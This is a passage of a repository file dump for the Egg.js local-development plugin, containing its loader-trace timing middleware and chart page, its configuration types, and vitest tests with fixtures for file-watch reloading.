    "path": "plugins/development/src/app/middleware/egg_loader_trace.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport type { Application, MiddlewareFunc } from 'egg';\nimport { readJSON } from 'utility';\n\nimport { isTimingFile } from '../../utils.ts';\n\nexport default function createEggLoaderTraceMiddleware(_options: unknown, app: Application): MiddlewareFunc {\n  return async (ctx, next) => {\n    if (ctx.path !== '/__loader_trace__') {\n      return await next();\n    }\n    const templatePath = path.join(import.meta.dirname, 'loader_trace.html');\n    const template = await fs.readFile(templatePath, 'utf8');\n    const data = await loadTimingData(app);\n    ctx.body = template.replace('{{placeholder}}', JSON.stringify(data));\n  };\n}\n\nasync function loadTimingData(app: Application) {\n  const rundir = app.config.rundir;\n  const files = await fs.readdir(rundir);\n  const data: unknown[] = [];\n  for (const file of files) {\n    if (!isTimingFile(file)) continue;\n    const json = await readJSON(path.join(rundir, file));\n    const isAgent = file.startsWith('agent');\n    for (const item of json) {\n      if (isAgent) {\n        item.type = 'agent';\n      } else {\n        item.type = `app_${item.pid}`;\n      }\n      item.pid = String(item.pid);\n      item.range = [item.start, item.end];\n      item.title = `${item.type}(${item.index})`;\n      data.push(item);\n    }\n  }\n  return data;\n}\n"
  },
  {
    "path": "plugins/development/src/app/middleware/loader_trace.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <title></title>\n  </head>\n  <body>\n    <div id=\"mountNode\"></div>\n    <script src=\"https://gw.alipayobjects.com/os/antv/assets/g2/3.0.9/g2.min.js\"></script>\n    <script>\n      var data = {{placeholder}};\n\n      const chart = new G2.Chart({\n        container: 'mountNode', // 指定图表容器 ID\n        height: data.length * 22, // 指定图表高度\n        forceFit: true,\n        padding: 'auto',\n      });\n\n      // Step 2: 载入数据源\n      chart.source(data, {\n        range: {\n          type: 'time',\n          mask: 'HH:mm:ss',\n          nice: true,\n        },\n      });\n      chart\n        .coord()\n        .transpose()\n        .scale(1, -1);\n\n      chart.legend({ position: 'top' });\n\n      chart.tooltip({\n        showTitle: false,\n        itemTpl: '<li>{duration}ms: {name} </li>'\n      });\n\n      chart\n        .interval()\n        .position('title*range')\n        .color('type')\n        .tooltip('name*duration', (name, duration) => ({ name, duration }))\n        .size(5);\n\n      chart.render();\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "plugins/development/src/app.ts",
    "content": "import type { ILifecycleBoot, Application } from 'egg';\n\nexport default class AppBoot implements ILifecycleBoot {\n  #app: Application;\n\n  constructor(app: Application) {\n    this.#app = app;\n    // if true, then don't need to wait at local development mode\n    if (app.config.development.fastReady) {\n      process.nextTick(() => this.#app.ready(true));\n    }\n  }\n\n  async configWillLoad(): Promise<void> {\n    this.#app.config.coreMiddleware.push('eggLoaderTrace');\n  }\n}\n"
  },
  {
    "path": "plugins/development/src/config/config.default.ts",
    "content": "export interface DevelopmentConfig {\n  /**\n   * dirs needed watch, when files under these change, application will reload, use relative path\n   */\n  watchDirs: string[];\n  /**\n   * dirs don't need watch, including subdirectories, use relative path\n   */\n  ignoreDirs: string[];\n  /**\n   * don't wait all plugins ready, default is false.\n   */\n  fastReady: boolean;\n  /**\n   * whether reload on debug, default is true.\n   */\n  reloadOnDebug: boolean;\n  /**\n   * whether override default watchDirs, default is false.\n   */\n  overrideDefault: boolean;\n  /**\n   * whether override default ignoreDirs, default is false.\n   */\n  overrideIgnore: boolean;\n  /**\n   * whether to reload, use https://github.com/sindresorhus/multimatch\n   */\n  reloadPattern?: string[] | string;\n}\n\nexport default {\n  development: {\n    watchDirs: [],\n    ignoreDirs: [],\n    fastReady: false,\n    reloadOnDebug: true,\n    overrideDefault: false,\n    overrideIgnore: false,\n    reloadPattern: undefined,\n  } as DevelopmentConfig,\n};\n"
  },
  {
    "path": "plugins/development/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\n/**\n * Local development plugin, only enabled in `local` environment.\n *\n * @since 4.1.0\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import developmentPlugin from '@eggjs/development';\n *\n * export default {\n *   ...developmentPlugin(),\n * };\n * ```\n *\n * @param options - Plugin options\n * @param options.enable - `true` by default. on CI, it's `false` to avoid unexpected errors.\n * @param options.env - Environment list to enable the plugin, default is `['local']`.\n * @returns Plugin config\n */\nexport default definePluginFactory({\n  name: 'development',\n  enable: true,\n  path: import.meta.dirname,\n  env: ['local'],\n  dependencies: ['watcher'],\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/development/src/types.ts",
    "content": "import type { DevelopmentConfig } from './config/config.default.ts';\n\ndeclare module 'egg' {\n  // add EggAppConfig overrides types\n  interface EggAppConfig {\n    /**\n     * @member Config#development\n     * @property {Array} watchDirs - dirs needed watch, when files under these change, application will reload, use relative path\n     * @property {Array} ignoreDirs - dirs don't need watch, including subdirectories, use relative path\n     * @property {Boolean} fastReady - don't wait all plugins ready, default is false.\n     * @property {Boolean} reloadOnDebug - whether reload on debug, default is true.\n     * @property {Boolean} overrideDefault - whether override default watchDirs, default is false.\n     * @property {Boolean} overrideIgnore - whether override default ignoreDirs, default is false.\n     * @property {Array|String} reloadPattern - whether to reload, use https://github.com/sindresorhus/multimatch\n     */\n    development: DevelopmentConfig;\n  }\n}\n"
  },
  {
    "path": "plugins/development/src/utils.ts",
    "content": "export function isTimingFile(file: string): boolean {\n  return /^(agent|application)_timing/.test(file);\n}\n"
  },
  {
    "path": "plugins/development/test/absolute.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, it, describe } from 'vitest';\n\nimport { getFilepath } from './utils.ts';\n\ndescribe('test/absolute.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    await fs.rm(getFilepath('absolute/lib'), { force: true, recursive: true });\n\n    // FIXME: ONLY WATCH EXIST DIR\n    const filepath = getFilepath('absolute/lib/a/b.js');\n    await fs.mkdir(path.dirname(filepath), { recursive: true });\n    await fs.writeFile(filepath, '');\n\n    mm.env('local');\n    app = mm.cluster({\n      baseDir: getFilepath('absolute'),\n      // debug: true,\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should reload at absolute path', async () => {\n    const filepath = getFilepath('absolute/lib/a/b.js');\n    await fs.mkdir(path.dirname(filepath), { recursive: true });\n    console.log(`write file to ${filepath}`);\n    await fs.writeFile(filepath, 'console.log(1);');\n    await scheduler.wait(1000);\n    await fs.rm(filepath, { force: true });\n    await scheduler.wait(5000);\n    app.expect('stdout', /reload worker because .*?b\\.js/);\n  });\n});\n"
  },
  {
    "path": "plugins/development/test/custom.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, it, describe } from 'vitest';\n\nimport { getFilepath } from './utils.ts';\n\ndescribe.skip('test/custom.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    mm.env('local');\n    app = mm.cluster({\n      baseDir: getFilepath('custom'),\n    });\n    app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it.skipIf(process.env.CI)('should reload with custom detect', async () => {\n    let filepath;\n    filepath = getFilepath('custom/app/service/a.js');\n    await fs.writeFile(filepath, 'let a = 1;');\n    await fs.writeFile(filepath, 'let a = 2;');\n    await scheduler.wait(10000);\n\n    await fs.rm(filepath, { force: true });\n    app.expect('stdout', /a\\.js/);\n\n    filepath = getFilepath('custom/app/service/b.ts');\n    await fs.writeFile(filepath, 'let b = 1;');\n    await fs.writeFile(filepath, 'let b = 2;');\n    await scheduler.wait(5000);\n\n    await fs.rm(filepath, { force: true });\n    app.notExpect('stdout', /b\\.ts/);\n  });\n});\n"
  },
  {
    "path": "plugins/development/test/development-ts.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeEach, afterEach, it, describe, expect } from 'vitest';\n\nimport { escape, getFilepath, DELAY } from './utils.ts';\n\ndescribe('test/development-ts.test.ts', () => {\n  let app: MockApplication;\n  beforeEach(async () => {\n    mm.env('local');\n    app = mm.cluster({\n      baseDir: getFilepath('development-ts'),\n    });\n    app.debug();\n    await app.ready();\n  });\n  afterEach(() => app.close());\n  // for debounce\n  afterEach(() => scheduler.wait(500));\n\n  it('should enable in local environment', async () => {\n    // \"development\": {\n    //   \"enable\": true,\n    //   \"env\": [\n    //     \"local\"\n    //   ],\n    //   \"name\": \"development\",\n    //   \"dependencies\": [\n    //     \"watcher\"\n    //   ],\n    //   \"optionalDependencies\": [],\n    // }\n    const agentConfig = await fs.readFile(getFilepath('development-ts/run/agent_config.json'), 'utf8');\n    const pluginConfig = JSON.parse(agentConfig).plugins.development;\n    expect(pluginConfig.enable).toBe(true);\n    expect(pluginConfig.env).toEqual(['local']);\n    expect(pluginConfig.name).toBe('development');\n    expect(pluginConfig.dependencies).toEqual(['watcher']);\n    expect(pluginConfig.optionalDependencies).toEqual([]);\n  });\n\n  it('should reload when change service', async () => {\n    const filepath = getFilepath('development-ts/app/service/a.ts');\n    await fs.writeFile(filepath, 'let a = 1;');\n    await fs.writeFile(filepath, 'let a = 2;');\n    await scheduler.wait(1000);\n    await fs.rm(filepath, { force: true });\n    await scheduler.wait(5000);\n    app.expect('stdout', new RegExp(escape(`reload worker because ${filepath}`)));\n  });\n\n  it('should not reload when change assets', async () => {\n    const filepath = getFilepath('development-ts/app/assets/b.js');\n    await fs.writeFile(filepath, 'let b = 1;');\n    await fs.writeFile(filepath, 'let b = 2;');\n    await scheduler.wait(1000);\n    await fs.rm(filepath, { force: true });\n    await scheduler.wait(5000);\n    app.notExpect('stdout', new RegExp(escape(`reload worker because ${filepath}`)));\n  });\n\n  it.skip('should reload once when 2 file change', async () => {\n    const filepath = getFilepath('development-ts/app/service/c.js');\n    const filepath1 = getFilepath('development-ts/app/service/d.js');\n    await fs.writeFile(filepath, 'let c = 1;');\n    await fs.writeFile(filepath, 'let c = 2;');\n    // set a timeout for watcher's interval\n    await scheduler.wait(DELAY / 2);\n    await fs.writeFile(filepath1, 'let d = 1;');\n    await fs.writeFile(filepath1, 'let d = 2;');\n\n    await scheduler.wait(DELAY / 2);\n    await fs.rm(filepath, { force: true });\n    await fs.rm(filepath1, { force: true });\n\n    assert(count(app.stdout, 'reload worker') >= 1);\n  });\n});\n\nfunction count(str: string, match: string) {\n  const m = str.match(new RegExp(match, 'g'));\n  return m ? m.length : 0;\n}\n"
  },
  {
    "path": "plugins/development/test/development.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, it, describe, afterEach } from 'vitest';\n\nimport { escape, getFilepath, DELAY } from './utils.ts';\n\ndescribe('test/development.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    mm.env('local');\n    app = mm.cluster({\n      baseDir: getFilepath('development'),\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n  // for debounce\n  afterEach(() => scheduler.wait(500));\n\n  it('should reload when change service', async () => {\n    const filepath = getFilepath('development/app/service/a.js');\n    await fs.writeFile(filepath, 'let a = 1;');\n    await fs.writeFile(filepath, 'let a = 2;');\n    await scheduler.wait(1000);\n    await fs.rm(filepath, { force: true });\n    await scheduler.wait(5000);\n    app.expect('stdout', new RegExp(escape(`reload worker because ${filepath}`)));\n  });\n\n  it('should not reload when change assets', async () => {\n    const filepath = getFilepath('development/app/assets/b.js');\n    await fs.writeFile(filepath, 'let b = 1;');\n    await fs.writeFile(filepath, 'let b = 2;');\n    await scheduler.wait(1000);\n    await fs.rm(filepath, { force: true });\n    await scheduler.wait(5000);\n    app.notExpect('stdout', new RegExp(escape(`reload worker because ${filepath}`)));\n  });\n\n  it.skipIf(process.env.CI)('should reload once when 2 file change', async () => {\n    const filepath = getFilepath('development/app/service/c.js');\n    const filepath1 = getFilepath('development/app/service/d.js');\n    await fs.writeFile(filepath, 'let c = 1;');\n    await fs.writeFile(filepath, 'let c = 2;');\n    // set a timeout for watcher's interval\n    await scheduler.wait(DELAY / 2);\n    await fs.writeFile(filepath1, 'let d = 1;');\n    await fs.writeFile(filepath1, 'let d = 2;');\n\n    await scheduler.wait(DELAY / 2);\n    await fs.rm(filepath, { force: true });\n    await fs.rm(filepath1, { force: true });\n\n    assert(count(app.stdout, 'reload worker') >= 3);\n  });\n});\n\nfunction count(str: string, match: string) {\n  const m = str.match(new RegExp(match, 'g'));\n  return m ? m.length : 0;\n}\n"
  },
  {
    "path": "plugins/development/test/fast_ready_false.test.ts",
    "content": "import { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeEach, afterEach, it, describe } from 'vitest';\n\nimport { getFilepath } from './utils.ts';\n\ndescribe('test/fast_ready_false.test.ts', () => {\n  let app: MockApplication;\n  beforeEach(() => {\n    mm(process.env, 'NODE_ENV', 'development');\n  });\n  afterEach(() => app.close());\n  // for debounce\n  afterEach(() => scheduler.wait(500));\n\n  it('should disable fast ready by default', async () => {\n    app = mm.cluster({\n      baseDir: getFilepath('delay-ready'),\n    });\n    app.debug();\n    await app.ready();\n    // We need to wait for log written, because app.logger.info is async.\n    await scheduler.wait(1000);\n\n    app.expect('stdout', /Server started./);\n  });\n\n  it.skipIf(!process.env.CI)('should set config.development.fastReady to true work', async () => {\n    app = mm.cluster({\n      baseDir: getFilepath('fast-ready'),\n    });\n    app.debug();\n    await app.ready();\n    // We need to wait for log written, because app.logger.info is async.\n    await scheduler.wait(1000);\n\n    app.expect('stdout', /delayed 200ms done./);\n    app.expect('stdout', /Server started./);\n  });\n});\n"
  },
  {
    "path": "plugins/development/test/fixtures/absolute/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    keys: 'foo,bar',\n    development: {\n      watchDirs: [path.join(appInfo.baseDir, 'lib')],\n    },\n  };\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/absolute/config/plugin.js",
    "content": "exports.development = true;\n"
  },
  {
    "path": "plugins/development/test/fixtures/absolute/package.json",
    "content": "{\n  \"name\": \"absolute\"\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/custom/app/service/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/custom/config/config.default.js",
    "content": "'use strict';\n\nexports.development = {\n  reloadPattern: ['**', '!**/*.ts'],\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/custom/config/plugin.js",
    "content": "exports.development = true;\n"
  },
  {
    "path": "plugins/development/test/fixtures/custom/package.json",
    "content": "{\n  \"name\": \"custom\"\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/delay-ready/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  const done = app.readyCallback('delay 200ms');\n  setTimeout(() => {\n    app.logger.info('delayed 200ms done.');\n    done();\n  }, 200);\n\n  app.ready(() => {\n    app.logger.info('Server started.');\n  });\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/delay-ready/config/plugin.js",
    "content": "exports.development = true;\n"
  },
  {
    "path": "plugins/development/test/fixtures/delay-ready/package.json",
    "content": "{\n  \"name\": \"delay-ready\"\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/development/app/assets/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/development/app/public/foo.js",
    "content": "alert('bar');\n"
  },
  {
    "path": "plugins/development/test/fixtures/development/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/foo.js', async function () {\n    this.body = 'foo.js';\n  });\n\n  app.get('/foo', async function () {\n    this.body = 'foo';\n  });\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/development/app/service/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/development/config/config.default.js",
    "content": "exports.keys = 'foo,bar';\n"
  },
  {
    "path": "plugins/development/test/fixtures/development/config/plugin.js",
    "content": "exports.development = true;\n"
  },
  {
    "path": "plugins/development/test/fixtures/development/package.json",
    "content": "{\n  \"name\": \"development\"\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-process_mode_single/app/assets/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/development-process_mode_single/app/public/foo.js",
    "content": "alert('bar');\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-process_mode_single/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/foo.js', async function () {\n    this.body = 'foo.js';\n  });\n\n  app.get('/foo', async function () {\n    this.body = 'foo';\n  });\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-process_mode_single/app/service/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/development-process_mode_single/config/config.default.js",
    "content": "exports.keys = 'foo,bar';\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-process_mode_single/config/plugin.js",
    "content": "exports.development = true;\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-process_mode_single/package.json",
    "content": "{\n  \"name\": \"development-process_mode_single\"\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-ts/app/assets/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/development-ts/app/public/foo.js",
    "content": "alert('bar');\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-ts/app/router.ts",
    "content": "import { Application } from 'egg';\n\nconst router = (app: Application): void => {\n  app.get('/foo.js', async (ctx) => {\n    ctx.body = 'foo.js';\n  });\n\n  app.get('/foo', async (ctx) => {\n    ctx.body = 'foo';\n  });\n};\n\nexport default router;\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-ts/app/service/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/development-ts/config/config.default.ts",
    "content": "import '../../../../src/index.ts';\nimport type { EggAppConfig } from 'egg';\n\nexport default {\n  keys: 'foo,bar',\n  development: {\n    fastReady: false,\n  },\n} as EggAppConfig;\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-ts/config/plugin.ts",
    "content": "import type { EggPlugin } from 'egg';\n\nimport developmentPlugin from '../../../../src/index.ts';\n\nexport default {\n  ...developmentPlugin({\n    enable: true,\n  }),\n} as EggPlugin;\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-ts/package.json",
    "content": "{\n  \"name\": \"development-ts\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/development-ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"noImplicitAny\": true,\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\"\n  }\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/fast-ready/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  const done = app.readyCallback('delay 200ms');\n  setTimeout(() => {\n    app.logger.info('delayed 200ms done.');\n    done();\n  }, 200);\n\n  app.ready(() => {\n    app.logger.info('Server started.');\n  });\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/fast-ready/config/config.default.js",
    "content": "'use strict';\n\nexports.development = {\n  fastReady: true,\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/fast-ready/config/plugin.js",
    "content": "exports.development = true;\n"
  },
  {
    "path": "plugins/development/test/fixtures/fast-ready/package.json",
    "content": "{\n  \"name\": \"fast-ready\"\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/not-reload/app/service/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/not-reload/app/service/a.js",
    "content": "let a = 2;\n"
  },
  {
    "path": "plugins/development/test/fixtures/not-reload/config/config.default.js",
    "content": "'use strict';\n\nexports.development = {\n  reloadOnDebug: false,\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/not-reload/config/plugin.js",
    "content": "exports.development = true;\n"
  },
  {
    "path": "plugins/development/test/fixtures/not-reload/package.json",
    "content": "{\n  \"name\": \"not-reload\"\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/override/app/no-trigger/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/override/app/service/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/override/config/config.default.js",
    "content": "'use strict';\n\nexports.development = {\n  overrideDefault: true,\n  watchDirs: ['app/service'],\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/override/config/plugin.js",
    "content": "exports.development = true;\n"
  },
  {
    "path": "plugins/development/test/fixtures/override/package.json",
    "content": "{\n  \"name\": \"override\"\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/override-ignore/app/public/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/override-ignore/app/web/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/development/test/fixtures/override-ignore/config/config.default.js",
    "content": "'use strict';\n\nexports.development = {\n  overrideIgnore: true,\n  ignoreDirs: ['app/public'],\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/override-ignore/config/plugin.js",
    "content": "exports.development = true;\n"
  },
  {
    "path": "plugins/development/test/fixtures/override-ignore/package.json",
    "content": "{\n  \"name\": \"override-ignore\"\n}\n"
  },
  {
    "path": "plugins/development/test/fixtures/timing/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/checkFile', async (ctx) => {\n    ctx.body = ctx.app.checkFile();\n  });\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/timing/app.js",
    "content": "const fs = require('fs');\nconst path = require('path');\n\nmodule.exports = (app) => {\n  app.checkFile = () => {\n    return {\n      timing: fs.existsSync(path.join(__dirname, 'run/agent_timing_11111.json')),\n      config: fs.existsSync(path.join(__dirname, 'run/application_config.json')),\n    };\n  };\n};\n"
  },
  {
    "path": "plugins/development/test/fixtures/timing/config/config.js",
    "content": "'use strict';\n\nexports.keys = '11';\n"
  },
  {
    "path": "plugins/development/test/fixtures/timing/config/plugin.js",
    "content": "exports.development = true;\n"
  },
  {
    "path": "plugins/development/test/fixtures/timing/package.json",
    "content": "{\n  \"name\": \"fast-ready\"\n}\n"
  },
  {
    "path": "plugins/development/test/not-reload.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, it, describe } from 'vitest';\n\nimport { escape, getFilepath, DELAY } from './utils.ts';\n\n// FIXME: Error: Test timed out in 20000ms\ndescribe.skip('test/not-reload.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    mm.env('local');\n    mm(process.env, 'EGG_DEBUG', true);\n    app = mm.cluster({\n      baseDir: getFilepath('not-reload'),\n      opt: {\n        execArgv: ['--inspect'],\n      },\n    });\n    app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should not reload', async () => {\n    const filepath = getFilepath('not-reload/app/service/a.js');\n    await fs.writeFile(filepath, 'let a = 1;');\n    await fs.writeFile(filepath, 'let a = 2;');\n    await scheduler.wait(DELAY);\n\n    await fs.rm(filepath, { force: true });\n    app.notExpect('stdout', new RegExp(escape(`reload worker because ${filepath} change`)));\n  });\n});\n"
  },
  {
    "path": "plugins/development/test/override.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, it, describe } from 'vitest';\n\nimport { escape, getFilepath } from './utils.ts';\n\ndescribe('test/override.test.ts', () => {\n  // TODO: flaky test on windows, Hook timed out in 20000ms\n  describe.skipIf(process.platform === 'win32')('overrideDefault', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.env('local');\n      app = mm.cluster({\n        baseDir: getFilepath('override'),\n      });\n      app.debug();\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should reload', async () => {\n      const filepath = getFilepath('override/app/service/a.js');\n      await fs.writeFile(filepath, '');\n      await scheduler.wait(1000);\n      await fs.unlink(filepath);\n      await scheduler.wait(5000);\n      app.expect('stdout', /a\\.js/);\n    });\n\n    it('should not reload', async () => {\n      app.debug();\n      const filepath = getFilepath('override/app/no-trigger/index.js');\n      await fs.writeFile(filepath, '');\n      await scheduler.wait(1000);\n      await fs.unlink(filepath);\n      await scheduler.wait(5000);\n      app.notExpect('stdout', /index\\.js/);\n    });\n  });\n\n  // TODO: flaky test on windows, Hook timed out in 20000ms\n  describe.skipIf(process.platform === 'win32')('overrideIgnore', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.env('local');\n      app = mm.cluster({\n        baseDir: getFilepath('override-ignore'),\n      });\n      app.debug();\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it.skip('should reload', async () => {\n      const filepath = getFilepath('override-ignore/app/web/a.js');\n      await fs.writeFile(filepath, '');\n      await scheduler.wait(1000);\n      await fs.unlink(filepath);\n      await scheduler.wait(5000);\n      app.expect('stdout', new RegExp(escape(`reload worker because ${filepath}`)));\n    });\n\n    it('should not reload', async () => {\n      app.debug();\n      const filepath = getFilepath('override-ignore/app/public/index.js');\n      await fs.writeFile(filepath, '');\n      await scheduler.wait(1000);\n      await fs.unlink(filepath);\n      await scheduler.wait(5000);\n      app.notExpect('stdout', new RegExp(escape(`reload worker because ${filepath} change`)));\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/development/test/process_mode_single.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport { request } from '@eggjs/supertest';\nimport { start, Application } from 'egg';\nimport { beforeAll, afterAll, it, describe } from 'vitest';\n\nimport developmentPlugin from '../src/index.ts';\nimport { getFilepath } from './utils.ts';\n\ndescribe('test/process_mode_single.test.ts', () => {\n  let app: Application;\n  beforeAll(async () => {\n    app = await start({\n      env: 'local',\n      baseDir: getFilepath('development-process_mode_single'),\n      plugins: {\n        ...developmentPlugin(),\n      },\n    } as any);\n  });\n  afterAll(() => app.close());\n\n  it('should not reload', async () => {\n    let warn = false;\n    mm(app.agent!.logger, 'warn', (msg: string) => {\n      if (msg.includes('reload worker')) {\n        warn = true;\n      }\n    });\n    await request(app.callback()).get('/foo').expect(200).expect('foo');\n    const filepath = getFilepath('development-process_mode_single/app/service/a.js');\n    await fs.writeFile(filepath, '');\n    await scheduler.wait(1000);\n\n    await request(app.callback()).get('/foo').expect(200).expect('foo');\n\n    await fs.rm(filepath, { force: true });\n\n    await request(app.callback()).get('/foo').expect(200).expect('foo');\n\n    assert.equal(warn, false);\n  });\n});\n"
  },
  {
    "path": "plugins/development/test/timing.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, it, describe } from 'vitest';\n\nimport { getFilepath } from './utils.ts';\n\ndescribe('test/timing.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    mm.env('local');\n    app = mm.app({\n      baseDir: getFilepath('timing'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should render page', async () => {\n    const res = await app.httpRequest().get('/__loader_trace__').expect(200);\n\n    const jsonString = res.text.match(/data = (.*?);/);\n    assert(jsonString);\n    assert(jsonString[1].length > 3000);\n    const json = JSON.parse(jsonString[1]);\n\n    const first = json[0];\n    assert(first);\n    assert.equal(first.type, 'agent');\n    assert.equal(typeof first.pid, 'string');\n    assert.deepEqual(first.range, [first.start, first.end]);\n    assert.equal(first.title, 'agent(0)');\n\n    const last = json[json.length - 1];\n    // console.log(last);\n    assert.match(last.type, /^app_\\d+$/);\n    assert.equal(typeof last.pid, 'string');\n    assert.deepEqual(last.range, [last.start, last.end]);\n    assert.match(last.title, /^app_\\d+\\(\\d+\\)$/);\n  });\n});\n"
  },
  {
    "path": "plugins/development/test/utils.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\nconst fixtures = path.join(__dirname, 'fixtures');\n\nexport function getFilepath(name: string): string {\n  return path.join(fixtures, name);\n}\n\nexport function escape(str: string): string {\n  return str.replace(/[|\\\\{}()[\\]^$+*?.]/g, '\\\\$&').replace(/-/g, '\\\\x2d');\n}\n\nexport const DELAY: number = process.env.CI ? 30000 : 5500;\n"
  },
  {
    "path": "plugins/development/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/development/vitest.config.ts",
    "content": "import { defineProject, type UserWorkspaceConfig } from 'vitest/config';\n\nconst config: UserWorkspaceConfig = defineProject({\n  test: {\n    testTimeout: 20000,\n    hookTimeout: 20000,\n    include: ['test/**/*.test.ts'],\n    exclude: ['test/fixtures/**', 'test/bench/**', '**/node_modules/**', '**/dist/**'],\n  },\n});\n\nexport default config;\n"
  },
  {
    "path": "plugins/i18n/.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\ntest/fixtures/**/run\n.DS_Store\n.tshy*\n.eslintcache\ndist\npackage-lock.json\n.package-lock.json\n"
  },
  {
    "path": "plugins/i18n/CHANGELOG.md",
